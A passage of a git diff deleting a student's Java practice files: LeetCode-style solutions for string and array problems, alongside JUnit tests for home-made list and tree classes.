-		ListNode l21 = new ListNode(5);
-		ListNode l22 = new ListNode(6);
-		ListNode l23 = new ListNode(4);
-		l21.next = l22;
-		l22.next = l23;
-		
-		ListNode ret = new AddTwoNums().mySolution(l11, l21);
-		while(ret != null){
-			System.out.println(ret.val);
-			ret = ret.next;
-		}
-	}
-}
-
-class ListNode {
-	int val;
-	ListNode next;
-	ListNode(int x) { val = x; }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java
deleted file mode 100644
index 910241063f..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java
+++ /dev/null
@@ -1,223 +0,0 @@
-package com.coding.me.leetcode.algorithms;
-
-/**
- * Write a function to find the longest common prefix string amongst an array of strings.
- * ["a", "b"] return ""
- * ["a", "a"] return "a"
- * ["ac", "ac", "a", "a"] return "a"
- *
- */
-public class LongestCommonPrefix {
-	
-	public static String mySolution(String[] strs){
-		if(strs.length == 0) return "";
-		char[] chars = strs[0].toCharArray();
-		int count = chars.length;
-		if(count == 0) return "";
-		char[] tmp;
-		for(int i = 1;i<strs.length;i++){
-			tmp = strs[i].toCharArray();
-			if(tmp.length == 0) return "";
-			for(int j=0;j<tmp.length && j<chars.length;j++){
-				if(chars[j] == tmp[j]) {
-					if(j != tmp.length - 1) continue;
-					else{
-						if(++j < count) count = j;
-						break;
-					}
-				}
-				if(j < count) count = j;
-				break;
-			}
-		}
-		return strs[0].substring(0, count);
-	}
-	
-	/**
-	 * Time complexity:O(S),where S is the sum of all characters in all strings.
-	 * @param strs
-	 * @return
-	 */
-	public static String leetcodeSolution1(String[] strs) {
-	    if (strs.length == 0) return "";
-	    String prefix = strs[0];
-	    for (int i = 1; i < strs.length; i++)
-	        while (strs[i].indexOf(prefix) != 0) {
-	            prefix = prefix.substring(0, prefix.length() - 1);
-	            if (prefix.isEmpty()) return "";
-	        }        
-	    return prefix;
-	}
-	
-	/**
-	 * Time complexity:O(S),where S is the sum of all characters in all strings.
-	 * @param strs
-	 * @return
-	 */
-	public String leetcodeSolution2(String[] strs) {
-	    if (strs == null || strs.length == 0) return "";
-	    for (int i = 0; i < strs[0].length() ; i++){
-	        char c = strs[0].charAt(i);
-	        for (int j = 1; j < strs.length; j ++) {
-	            if (i == strs[j].length() || strs[j].charAt(i) != c)
-	                return strs[0].substring(0, i);             
-	        }
-	    }
-	    return strs[0];
-	}
-	
-	public String leetcodeSolution3(String[] strs) {
-	    if (strs == null || strs.length == 0) return "";    
-	        return longestCommonPrefix(strs, 0 , strs.length - 1);
-	}
-	
-	private int i=1;
-	private int j=1;
-
-	private String longestCommonPrefix(String[] strs, int l, int r) {
-		System.out.println("第" + i++ + "次进入longestCommonPrefix;l = " + l + ",r = " + r);
-	    if (l == r) {
-	        return strs[l];
-	    }
-	    else {
-	        int mid = (l + r)/2;
-	        String lcpLeft =   longestCommonPrefix(strs, l , mid);
-	        String lcpRight =  longestCommonPrefix(strs, mid + 1,r);
-	        return commonPrefix(lcpLeft, lcpRight);
-	   }
-	}
-
-	private String commonPrefix(String left,String right) {
-		System.out.println("第" + j++ + "次进入longestCommonPrefix;left = " + left + ",right = " + right);
-	    int min = Math.min(left.length(), right.length());       
-	    for (int i = 0; i < min; i++) {
-	        if ( left.charAt(i) != right.charAt(i) )
-	            return left.substring(0, i);
-	    }
-	    return left.substring(0, min);
-	}
-	
-	/**
-	 * Time Complexity O(S*log(n))
-	 * Space Complexity O(1)
-	 * @param strs
-	 * @return
-	 */
-	public String leetcodeSolution4(String[] strs) {
-	    if (strs == null || strs.length == 0)
-	        return "";
-	    int minLen = Integer.MAX_VALUE;
-	    for (String str : strs)
-	        minLen = Math.min(minLen, str.length());
-	    int low = 1;
-	    int high = minLen;
-	    while (low <= high) {
-	        int middle = (low + high) / 2;
-	        if (isCommonPrefix(strs, middle))
-	            low = middle + 1;
-	        else
-	            high = middle - 1;
-	    }
-	    return strs[0].substring(0, (low + high) / 2);
-	}
-
-	private boolean isCommonPrefix(String[] strs, int len){
-	    String str1 = strs[0].substring(0,len);
-	    for (int i = 1; i < strs.length; i++)
-	        if (!strs[i].startsWith(str1))
-	            return false;
-	    return true;
-	}
-	
-	public String longestCommonPrefix(String q, String[] strs) {
-	    if (strs == null || strs.length == 0)
-	         return "";  
-	    if (strs.length == 1)
-	         return strs[0];
-	    Trie trie = new Trie();      
-	    for (int i = 1; i < strs.length ; i++) {
-	        trie.insert(strs[i]);
-	    }
-	    return trie.searchLongestPrefix(q);
-	}
-
-	class TrieNode {
-
-	    // R links to node children
-	    private TrieNode[] links;
-
-	    private final int R = 26;
-
-	    private boolean isEnd;
-
-	    public TrieNode() {
-	        links = new TrieNode[R];
-	    }
-
-	    public boolean containsKey(char ch) {
-	        return links[ch -'a'] != null;
-	    }
-	    public TrieNode get(char ch) {
-	        return links[ch -'a'];
-	    }
-	    public void put(char ch, TrieNode node) {
-	        links[ch -'a'] = node;
-	    }
-	    public void setEnd() {
-	        isEnd = true;
-	    }
-	    public boolean isEnd() {
-	        return isEnd;
-	    }
-	    
-	    public int getLinks(){
-	    	return links.length;
-	    }
-	}
-
-	public class Trie {
-
-	    private TrieNode root;
-
-	    public Trie() {
-	        root = new TrieNode();
-	    }
-	    
-	 // Inserts a word into the trie.
-	    public void insert(String word) {
-	        TrieNode node = root;
-	        for (int i = 0; i < word.length(); i++) {
-	            char currentChar = word.charAt(i);
-	            if (!node.containsKey(currentChar)) {
-	                node.put(currentChar, new TrieNode());
-	            }
-	            node = node.get(currentChar);
-	        }
-	        node.setEnd();
-	    }
-
-	//assume methods insert, search, searchPrefix are implemented as it is described
-	//in  https://leetcode.com/articles/implement-trie-prefix-tree/)
-	    private String searchLongestPrefix(String word) {
-	        TrieNode node = root;
-	        StringBuilder prefix = new StringBuilder();
-	        for (int i = 0; i < word.length(); i++) {
-	            char curLetter = word.charAt(i);
-	            if (node.containsKey(curLetter) && (node.getLinks() == 1) && (!node.isEnd())) {
-	                prefix.append(curLetter);
-	                node = node.get(curLetter);
-	            }
-	            else
-	                return prefix.toString();
-
-	         }
-	         return prefix.toString();
-	    }
-	}
-	
-	public static void main(String[] args) {
-		String[] strs = {"abca", "abac", "abdca", "abcac", "abba", "abab"};
-		System.out.println(leetcodeSolution1(strs));
-		System.out.println(new LongestCommonPrefix().leetcodeSolution3(strs));
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java
deleted file mode 100644
index 4cc3a5667b..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java
+++ /dev/null
@@ -1,229 +0,0 @@
-package com.coding.me.leetcode.algorithms;
-
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Given a string, find the length of the longest substring without repeating
- * characters.
- * 
- * Examples:
- * 
- * Given "abcabcbb", the answer is "abc", which the length is 3.
- * 
- * Given "bbbbb", the answer is "b", with the length of 1.
- * 
- * Given "pwwkew", the answer is "wke", with the length of 3. Note that the
- * answer must be a substring, "pwke" is a subsequence and not a substring.
- * 
- * @author hewj
- *
- */
-public class LongestSubstringWithoutRepeatingCharacters {
-	
-	public int mySolution(String s) {
-        if(s == null){
-        	return 0;
-        }else if(s.length() <= 1){
-        	return s.length();
-        }
-        char[] chars = s.toCharArray();
-        char[] tmp = new char[chars.length];
-        int maxLength = 1;
-        int length, k;
-        for(int i=0;i<chars.length;i++){
-        	length = 1;
-        	k = 0;
-        	tmp[k++] = chars[i];
-        	end:
-        	for(int j=i+1;j<chars.length;j++){
-        		for(int l=0;l<k;l++){
-        			if(tmp[l] == chars[j]){
-        				break end;
-        			}
-        		}
-        		tmp[k++] = chars[j];
-        		length++;
-        	}
-        	if(maxLength < length){
-        		maxLength = length;
-        	}
-        }
-		return maxLength;
-    }
-	
-	/**
-	 * Time complexity : O(n^3)
-	 * @param s
-	 * @return
-	 */
-	public int leetCodeSolution1(String s) {
-        int n = s.length();
-        int ans = 0;
-        for (int i = 0; i < n; i++)
-            for (int j = i + 1; j <= n; j++)
-                if (allUnique(s, i, j)) ans = Math.max(ans, j - i);
-        return ans;
-    }
-
-    public boolean allUnique(String s, int start, int end) {
-        Set<Character> set = new HashSet<>();
-        for (int i = start; i < end; i++) {
-            Character ch = s.charAt(i);
-            if (set.contains(ch)) return false;
-            set.add(ch);
-        }
-        return true;
-    }
-    
-    /**
-     * Sliding Window
-	 * The naive approach is very straightforward. But it is too slow. So how
-	 * can we optimize it?
-	 * 
-	 * In the naive approaches, we repeatedly check a substring to see if it has
-	 * duplicate character. But it is unnecessary. If a substring S​ij ​​ from
-	 * index i i to j 1 j−1 is already checked to have no duplicate characters.
-	 * We only need to check if s[j] is already in the substring S​ij ​​ .
-	 * 
-	 * To check if a character is already in the substring, we can scan the
-	 * substring, which leads to an O(n^2) algorithm. But we can do better.
-	 * 
-	 * By using HashSet as a sliding window, checking if a character in the
-	 * current can be done in O 1 O(1).
-	 * 
-	 * A sliding window is an abstract concept commonly used in array/string
-	 * problems. A window is a range of elements in the array/string which
-	 * usually defined by the start and end indices, i.e. i j [i,j)
-	 * (left-closed, right-open). A sliding window is a window "slides" its two
-	 * boundaries to the certain direction. For example, if we slide i j [i,j)
-	 * to the right by 1 1 element, then it becomes i 1 j 1 [i+1,j+1)
-	 * (left-closed, right-open).
-	 * 
-	 * Back to our problem. We use HashSet to store the characters in current
-	 * window i j [i,j) ( j i j=i initially). Then we slide the index j j to the
-	 * right. If it is not in the HashSet, we slide j j further. Doing so until
-	 * s[j] is already in the HashSet. At this point, we found the maximum size
-	 * of substrings without duplicate characters start with index i i. If we do
-	 * this for all i i, we get our answer.
-	 * 
-	 * Time complexity : O(2n)=O(n). In the worst case each character will be
-	 * visited twice by i and j.
-	 * 
-	 * Space complexity : O(min(m,n)). Same as the previous approach. We need
-	 * O(k) space for the sliding window, where k is the size of the Set. The
-	 * size of the Set is upper bounded by the size of the string n n and the
-	 * size of the charset/alphabet m m.
-	 * 
-	 * @param s
-	 * @return
-	 */
-    public int leetcodeSolution2(String s) {
-        int n = s.length();
-        Set<Character> set = new HashSet<>();
-        int ans = 0, i = 0, j = 0;
-        while (i < n && j < n) {
-            // try to extend the range [i, j]
-            if (!set.contains(s.charAt(j))){
-                set.add(s.charAt(j++));
-                ans = Math.max(ans, j - i);
-            }
-            else {
-                set.remove(s.charAt(i++));
-            }
-        }
-        return ans;
-    }
-    
-    /**
-	 * Sliding Window Optimized 
-	 * 
-	 * The above solution requires at most 2n steps. In fact, it could be
-	 * optimized to require only n steps. Instead of using a set to tell if a
-	 * character exists or not, we could define a mapping of the characters to
-	 * its index. Then we can skip the characters immediately when we found a
-	 * repeated character.
-	 * 
-	 * The reason is that if s[j] have a duplicate in the range [i,j)
-	 * with index j ​′ ​​ , we don't need to increase i little by little.
-	 * We can skip all the elements in the range [i,j ​′ ​​ ] and let i i
-	 * to be j ​′+1 directly.
-	 * 
-	 * @param s
-	 * @return
-	 */
-    public int leetCodeSolution3(String s){
-    	int n = s.length(), ans = 0;
-        Map<Character, Integer> map = new HashMap<>(); // current index of character
-        // try to extend the range [i, j]
-        for (int j = 0, i = 0; j < n; j++) {
-            if (map.containsKey(s.charAt(j))) {
-                i = Math.max(map.get(s.charAt(j)), i);
-            }
-            ans = Math.max(ans, j - i + 1);
-            map.put(s.charAt(j), j + 1);
-        }
-        return ans;
-    }
-    
-	/**
-	 * Java (Assuming ASCII 128)
-	 * 
-	 * The previous implements all have no assumption on the charset of the
-	 * string s.
-	 * 
-	 * If we know that the charset is rather small, we can replace the Map with
-	 * an integer array as direct access table.
-	 * 
-	 * Commonly used tables are:
-	 * 
-	 * int[26] for Letters 'a' - 'z' or 'A' - 'Z' 
-	 * int[128] for ASCII 
-	 * int[256] for Extended ASCII
-	 * 
-	 * @param s
-	 * @return
-	 */
-    public int leetCodeSolution4(String s) {
-        int n = s.length(), ans = 0;
-        int[] index = new int[128]; // current index of character
-        // try to extend the range [i, j]
-        for (int j = 0, i = 0; j < n; j++) {
-            i = Math.max(index[s.charAt(j)], i);
-            ans = Math.max(ans, j - i + 1);
-            index[s.charAt(j)] = j + 1;
-        }
-        return ans;
-    }
-    
-    
-	private LongestSubstringWithoutRepeatingCharacters lswrc;
-	@Before
-	public void setup(){
-		lswrc = new LongestSubstringWithoutRepeatingCharacters();
-	}
-	
-	@Test
-	public void testMySolution(){
-		Assert.assertEquals(3, lswrc.mySolution("abcabcbb"));
-		Assert.assertEquals(4, lswrc.mySolution("abcdabcdbbd"));
-	}
-	
-	@Test
-	public void testLeetcodeSolution3(){
-		Assert.assertEquals(3, lswrc.leetCodeSolution3("abcabcbb"));
-		Assert.assertEquals(4, lswrc.leetCodeSolution3("abcdabcdbbd"));
-	}
-	
-	@Test
-	public void testLeetcodeSolution4(){
-		Assert.assertEquals(3, lswrc.leetCodeSolution4("abcabcbb"));
-//		Assert.assertEquals(4, lswrc.leetCodeSolution4("abcdabcdbbd"));
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
deleted file mode 100644
index b80850e24a..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/MedianOfTwoSortedArrays.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package com.coding.me.leetcode.algorithms;
-
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * There are two sorted arrays nums1 and nums2 of size m and n respectively.
- * 
- * Find the median of the two sorted arrays. The overall run time complexity
- * should be O(log (m+n)).
- * 
- * Example 1: nums1 = [1, 3] nums2 = [2]
- * 
- * The median is 2.0 Example 2: nums1 = [1, 2] nums2 = [3, 4]
- * 
- * The median is (2 + 3)/2 = 2.5
- * 
- * @author hewj
- *
- */
-public class MedianOfTwoSortedArrays {
-	
-	public double mySolution(int[] nums1, int[] nums2) {
-		int[] nums = new int[nums1.length + nums2.length];
-		int mid = nums.length/2;
-		int remain = nums.length%2;
-		int i=0,j=0;
-		int a,b;
-		int k=0;
-		while(i<nums1.length || j<nums2.length && k<mid){
-			if(i == nums1.length){
-				nums[k++] = nums2[j++];
-				continue;
-			}else if(j == nums2.length){
-				nums[k++] = nums1[i++];
-				continue;
-			}
-			a = nums1[i];
-			b = nums2[j];
-			if(a == b){
-				nums[k++] = a;
-				nums[k++] = a;
-				i++;
-				j++;
-			}else if(a < b){
-				nums[k++] = a;
-				i++;
-			}else{
-				nums[k++] = b;
-				j++;
-			}
-		}
-		if(remain != 0){
-			return nums[mid];
-		}
-		return (nums[mid] + nums[mid-1])/2.0;
-    }
-	
-	public static double otherSolution(int[] nums1, int[] nums2) {
-		int len1 = nums1.length, len2 = nums2.length, sumLen = len1 + len2;
-		if (sumLen % 2 != 0) {
-
-			return findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2 + 1);
-		} else {
-			return (findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2)
-					+ findKthSmallest(nums1, len1, 0, nums2, len2, 0, sumLen / 2 + 1)) / 2.0;
-		}
-
-	}
-	
-	public static int findKthSmallest(int[] a, int m, int begin1, int[] b, int n, int begin2, int k) {
-
-		if (m > n)
-			return findKthSmallest(b, n, begin2, a, m, begin1, k);
-		if (m == 0)
-			return b[begin2 + k - 1];
-		if (k == 1)
-			return Integer.min(a[begin1], b[begin2]);
-		int partA = Integer.min(k / 2, m), partB = k - partA;
-		if (a[begin1 + partA - 1] == b[begin2 + partB - 1])
-			return a[begin1 + partA - 1];
-		else if (a[begin1 + partA - 1] > b[begin2 + partB - 1])
-			return findKthSmallest(a, m, begin1, b, n - partB, begin2 + partB, k - partB);
-		else
-			return findKthSmallest(a, m - partA, begin1 + partA, b, n, begin2, k - partA);
-
-	}
-	
-	private MedianOfTwoSortedArrays motsa;
-	
-	@Before
-	public void setup(){
-		motsa = new MedianOfTwoSortedArrays();
-	}
-	
-	@Test
-	public void testMySolution(){
-		int[] nums1 = {2};
-		int[] nums2 = {1,3};
-		System.out.println(motsa.mySolution(nums1, nums2));
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java
deleted file mode 100644
index 8821941630..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/OptimalDivision.java
+++ /dev/null
@@ -1,76 +0,0 @@
-package com.coding.me.leetcode.algorithms;
-
-/**
- * Given a list of positive integers, the adjacent integers will perform the
- * float division. For example, [2,3,4] -> 2 / 3 / 4.
- * 
- * However, you can add any number of parenthesis at any position to change the
- * priority of operations. You should find out how to add parenthesis to get the
- * maximum result, and return the corresponding expression in string format.
- * Your expression should NOT contain redundant parenthesis.
- * 
- * Example: Input: [1000,100,10,2] Output: "1000/(100/10/2)" Explanation:
- * 1000/(100/10/2) = 1000/((100/10)/2) = 200 However, the bold parenthesis in
- * "1000/((100/10)/2)" are redundant, since they don't influence the operation
- * priority. So you should return "1000/(100/10/2)".
- * 
- * Other cases: 1000/(100/10)/2 = 50 1000/(100/(10/2)) = 50 1000/100/10/2 = 0.5
- * 1000/100/(10/2) = 2 Note:
- * 
- * The length of the input array is [1, 10]. Elements in the given array will be
- * in range [2, 1000]. There is only one optimal division for each test case.
- * 
- * @author hewj
- *
- */
-public class OptimalDivision {
-	
-	public static String mySolution(int[] nums) {
-        if(nums.length == 0 || nums.length > 10) {
-        	return "";
-        }
-        if(nums.length == 1) {
-        	return "" + nums[0];
-        }
-        straightInsertionSort(nums);
-        StringBuilder sb = new StringBuilder();
-        sb.append(nums[0]).append("/");
-        if(nums.length == 2){
-        	sb.append(nums[1]);
-        }else{
-        	sb.append("(");
-        	for(int k=1;k<nums.length;k++){
-        		sb.append(nums[k]);
-        		if(k == nums.length - 1){
-        			sb.append(")");
-        		}else{
-        			sb.append("/");
-        		}
-        	}
-        }
-		return sb.toString();
-    }
-
-	private static void straightInsertionSort(int[] nums) {
-		for(int i=0;i<nums.length;i++){
-        	int max = nums[i];
-        	int pos = i;
-        	for(int j=i+1;j<nums.length;j++){
-        		if(max < nums[j]){
-        			max = nums[j];
-        			pos = j;
-        		}
-        	}
-        	if(pos != i) {
-        		int tmp = nums[i];
-        		nums[i] = nums[pos];
-        		nums[pos] = tmp;
-        	}
-        }
-	}
-	
-	public static void main(String[] args) {
-		int[] nums = {1000,100,2,10};
-		mySolution(nums);
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java
deleted file mode 100644
index f6f1ac37fa..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/StudentAttendanceRecord1.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package com.coding.me.leetcode.algorithms;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * You are given a string representing an attendance record for a student. The
- * record only contains the following three characters:
- * 
- * 'A' : Absent. 'L' : Late. 'P' : Present. A student could be rewarded if his
- * attendance record doesn't contain more than one 'A' (absent) or more than two
- * continuous 'L' (late).
- * 
- * You need to return whether the student could be rewarded according to his
- * attendance record.
- * 
- * Example 1: Input: "PPALLP" Output: True Example 2: Input: "PPALLL" Output:
- * False
- */
-public class StudentAttendanceRecord1 {
-	
-	public static boolean mySolution(String s) {
-		char[] cs = s.toCharArray();
-		int aCount = 0;
-		List<Character> lList = new ArrayList<>();
-		for(int i=0;i<cs.length;i++){
-			if(cs[i] == 65){
-				aCount++;
-				lList.clear();
-			}
-			else if(cs[i] == 76){
-				lList.add(cs[i]);
-			}
-			else
-				lList.clear();
-			if(aCount > 1 || lList.size() > 2){
-				return false;
-			}
-		}
-		return true;
-	}
-	
-	public static void main(String[] args) {
-		System.out.println(mySolution("LPLPLPLPLPL"));
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
deleted file mode 100644
index d91eb869fb..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/TwoSum.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package com.coding.me.leetcode.algorithms;
-
-import java.lang.ref.WeakReference;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Given an array of integers, return indices of the two numbers such that
- * they add up to a specific target.
- * 
- * You may assume that each input would have exactly one solution, and you
- * may not use the same element twice.
- * 
- * Example: Given nums = [2, 7, 11, 15], target = 9,
- * 
- * Because nums[0] + nums[1] = 2 + 7 = 9, return [0, 1]. Subscribe to see
- * which companies asked this question.
- */
-public class TwoSum {
-	/**
-	 * Time complexity : O(n^2)
-	 * Space complexity : O(1)
-	 * @param nums
-	 * @param target
-	 * @return
-	 */
-	public int[] mySolution(int[] nums, int target) {
-        int[] ret = new int[2];
-        for(int i=0;i<nums.length;i++){
-            for(int j=1;j<nums.length;j++){
-                if(i != j && target == nums[i]+nums[j]){
-                    ret[0] = i;
-                    ret[1] = j;
-                    return ret;
-                }
-            }
-        }
-        return ret;
-    }
-	
-	/**
-	 * two pass hash table
-	 * Time complexity : O(n)
-	 * Space complexity : O(n)
-	 * @param nums
-	 * @param target
-	 * @return
-	 */
-	public int[] leetCodeSolution1(int[] nums, int target) {
-		Map<Integer, Integer> map = new HashMap<>();
-		for (int i = 0; i < nums.length; i++) {
-			map.put(nums[i], i);
-		}
-		for (int i = 0; i < nums.length; i++) {
-			int complement = target - nums[i];
-			if (map.containsKey(complement) && map.get(complement) != i) {
-				return new int[] { i, map.get(complement) };
-			}
-		}
-		throw new IllegalArgumentException("No two sum solution");
-	}
-	
-	/**
-	 * one pass hash table
-	 * Time complexity : O(n)
-	 * Space complexity : O(n)
-	 * @param nums
-	 * @param target
-	 * @return
-	 */
-	public int[] leetCodeSolution2(int[] nums, int target) {
-		Map<Integer, Integer> map = new HashMap<>();
-	    for (int i = 0; i < nums.length; i++) {
-	        int complement = target - nums[i];
-	        if (map.containsKey(complement)) {
-	            return new int[] { map.get(complement), i };
-	        }
-	        map.put(nums[i], i);
-	    }
-	    throw new IllegalArgumentException("No two sum solution");
-	}
-	
-	
-	public static void main(String[] args) throws InterruptedException {
-//		String s = new String("字符串在内存中");
-		List s = new ArrayList();
-		s.add(new Object());
-		WeakReference<Object> wr = new WeakReference<Object>(s.get(0));
-		
-//		Thread.sleep(500);
-		System.out.println(wr.get());
-		
-		s.remove(0);
-		System.gc();
-		
-		System.out.println(wr.get());
-//		Thread.sleep(500);
-//		System.out.println(wr.get());
-	}
-}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
deleted file mode 100644
index 791157d0d6..0000000000
--- a/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
+++ /dev/null
@@ -1,61 +0,0 @@
-package test.com.coding.basic;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import com.coding.basic.array.ArrayList;
-
-public class TestArrayList {
-
-    @Test
-    public void testAdd() {
-        ArrayList list = new ArrayList();
-        int i = 0;
-        for (; i < 1000; i++) {
-            list.add(new Object());
-        }
-        Assert.assertTrue(list.size() == i);
-    }
-
-    @Test
-    public void testGet() {
-        ArrayList list = new ArrayList();
-        int i = 0;
-        for (; i < 10; i++) {
-            list.add(new Object());
-        }
-        Assert.assertFalse(list.get(5) == null);
-        try {
-            list.get(10);
-            Assert.assertTrue(false);
-        } catch (IndexOutOfBoundsException e) {
-            Assert.assertTrue(true);
-        }
-    }
-
-    @Test
-    public void testAddWithIndex() {
-        ArrayList list = new ArrayList();
-        int i = 0;
-        for (; i < 10; i++) {
-            list.add(new Object());
-        }
-        Object obj = list.get(5);
-        list.add(5, new Object());
-        Assert.assertTrue(list.size() == (i + 1));
-        Assert.assertTrue(obj == list.get(6));
-    }
-
-    @Test
-    public void testRemove() {
-        ArrayList list = new ArrayList();
-        int i = 0;
-        for (; i < 10; i++) {
-            list.add(i);
-        }
-        Object tempObj = list.get(5);
-        Assert.assertTrue(tempObj == list.remove(5));
-        Assert.assertTrue(list.size() == (i - 1));
-        Assert.assertTrue((int) list.get(list.size() - 1) == (i - 1));
-    }
-}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
deleted file mode 100644
index a137ceffb8..0000000000
--- a/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package test.com.coding.basic;
-
-import com.coding.basic.BinaryTreeNode;
-import org.junit.Test;
-
-public class TestBinaryTreeNode {
-
-    @Test
-    public void testInsert() {
-        BinaryTreeNode binaryTree = new BinaryTreeNode(5);
-        binaryTree.insert(2);
-        binaryTree.insert(7);
-        binaryTree.insert(1);
-        binaryTree.insert(6);
-
-        printNode(binaryTree);
-
-        binaryTree.insert(4);
-        binaryTree.insert(8);
-
-        System.out.println("*************************");
-        printNode(binaryTree);
-    }
-
-    private void printNode(BinaryTreeNode node) {
-        System.out.print("node's data is " + node.getDataIntVal());
-        System.out.println("   ,node's parent' data is " + (node.getParent() == null ? "null" : node.getParent().getDataIntVal()));
-        if (node.getLeft() != null) {
-            System.out.println("find left child node.");
-            printNode(node.getLeft());
-        }
-        if (node.getRight() != null) {
-            System.out.println("find right child node.");
-            printNode(node.getRight());
-        }
-    }
-}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
deleted file mode 100644
index 3a4a79ba0d..0000000000
--- a/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
+++ /dev/null
@@ -1,176 +0,0 @@
-package test.com.coding.basic;
-
-import static org.junit.Assert.fail;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import com.coding.basic.linklist.LinkedList;
-
-public class TestLinkedList {
-	
-	@Test
-	public void testReverse(){
-		LinkedList list = new LinkedList();
-		list.add(3);
-		list.add(7);
-		list.add(10);
-		list.reverse();
-		Assert.assertEquals("10,7,3", list.toString());
-		Assert.assertEquals("10", list.get(0).toString());
-	}
-	
-	@Test
-	public void testRemoveFirstHalf(){
-		LinkedList list = new LinkedList();
-		list.add(3);
-		list.add(7);
-		list.add(10);
-		list.add(12);
-		list.add(15);
-		list.removeFirstHalf();
-		Assert.assertEquals("10", list.get(0).toString());
-		Assert.assertEquals("10,12,15", list.toString());
-		Assert.assertEquals(3, list.size());
-	}
-	
-	@Test
-	public void testRemoveByLength(){
-		LinkedList list = new LinkedList();
-		list.add(3);
-		list.add(7);
-		list.add(10);
-		list.add(12);
-		list.add(15);
-		list.remove(0, 2);
-		Assert.assertEquals("10", list.get(0).toString());
-		Assert.assertEquals("10,12,15", list.toString());
-		Assert.assertEquals(3, list.size());
-		
-		list.remove(1, 1);
-		Assert.assertEquals("10", list.get(0).toString());
-		Assert.assertEquals("10,15", list.toString());
-		Assert.assertEquals(2, list.size());
-	}
-	
-	@Test
-	public void testGetElements(){
-		LinkedList list = new LinkedList();
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		
-		LinkedList indices = new LinkedList();
-		indices.add(1);
-		indices.add(3);
-		indices.add(4);
-		indices.add(6);
-		int[] elements = list.getElements(indices);
-		StringBuilder sb = new StringBuilder();
-		for(int i=0;i<elements.length;i++){
-			sb.append(elements[i]).append(",");
-		}
-		String elementsStr = sb.length() == 0?"" : sb.substring(0, sb.length() - 1);
-		Assert.assertEquals("1,3,4,6", elementsStr);
-		try{
-			indices.add(7);
-			list.getElements(indices);
-			fail("下标越界，没抛出异常");
-		}catch(IndexOutOfBoundsException e){
-			
-		}
-	}
-	
-	@Test
-	public void testSubtract(){
-		LinkedList list = new LinkedList();
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		
-		LinkedList indices = new LinkedList();
-		indices.add(1);
-		indices.add(3);
-		indices.add(4);
-		indices.add(6);
-		
-		list.subtract(indices);
-		Assert.assertEquals("0,2,5", list.toString());
-		Assert.assertEquals(3, list.size());
-	}
-	
-	@Test
-	public void testRemoveDuplicateValues(){
-		LinkedList list = new LinkedList();
-		list.add(0);
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(4);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		list.add(6);
-		list.removeDuplicateValues();
-		Assert.assertEquals("0,1,2,3,4,5,6", list.toString());
-		Assert.assertEquals(7, list.size());
-	}
-	
-	@Test
-	public void testRemoveRange(){
-		LinkedList list = new LinkedList();
-		for(int i=0;i<10000;i++){
-			list.add(i);
-		}
-		list.removeRange(200, 900);//0-200=201,901-9999=9099
-		
-//		Assert.assertEquals("0,1,2,3,6", list.toString());
-		Assert.assertEquals(9300, list.size());
-	}
-	
-	@Test
